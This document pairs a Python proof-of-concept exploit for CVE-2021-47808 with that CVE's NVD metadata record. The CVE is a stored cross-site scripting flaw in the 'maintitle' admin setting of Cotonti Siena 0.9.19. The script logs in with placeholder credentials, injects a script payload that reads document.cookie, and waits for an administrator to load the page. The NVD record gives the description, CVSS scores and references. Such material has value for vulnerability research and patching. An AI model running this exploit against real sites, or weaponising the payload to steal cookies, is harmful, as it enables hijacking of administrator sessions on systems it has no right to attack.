CVE-2021-47808

import requests import sys # CVE-2021-47808 PoC - Stored XSS in Cotonti Siena maintitle parameter # Target: Cotonti Siena 0.9.19 target_url = "http://target.com/cotonti" admin_url = f"{target_url}/admin.php" login_url = f"{target_url}/admin.php?m=login" # Malicious JavaScript payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_cve_2021_47808(): """Exploit stored XSS in Cotonti Siena maintitle parameter""" # Step 1: Login as low-privilege admin user session = requests.Session() login_data = { 'user': 'attacker_username', 'pass': 'attacker_password', 'loginsubmit': 'Login' } response = session.post(login_url, data=login_data) if 'admin' not in response.url: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in maintitle parameter config_data = { 'maintitle': xss_payload, 'save': 'Save' } response = session.post(admin_url, data=config_data) if xss_payload in response.text or 'success' in response.text.lower(): print("[+] XSS payload injected successfully") print(f"[*] Payload: {xss_payload}") print("[*] Wait for admin to visit the page to trigger XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] exploit_cve_2021_47808()

{"cve": {"id": "CVE-2021-47808", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:25.707", "lastModified": "2026-02-02T16:16:14.710", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel's site title parameter. Attackers can inject malicious JavaScript code through the 'maintitle' parameter to execute scripts when administrators view the page."}, {"lang": "es", "value": "Cotonti Siena 0.9.19 contiene una vulnerabilidad de cross-site scripting almacenado en el parámetro de título del sitio del panel de configuración de administrador. Los atacantes pueden inyectar código JavaScript malicioso a través del parámetro 'maintitle' para ejecutar scripts cuando los administradores ven la página."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cotonti:cotonti_siena:0.9.19:-:*:*:*:*:*:*", "matchCriteriaId": "381D7B79-BA21-447A-BAA1-1E40F17E9895"}]}]}], "references": [{"url": "https://cotonti.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.cotonti.com/download/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50016", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/cotonti-siena-maintitle-stored-cross-site-scripting", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50016", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}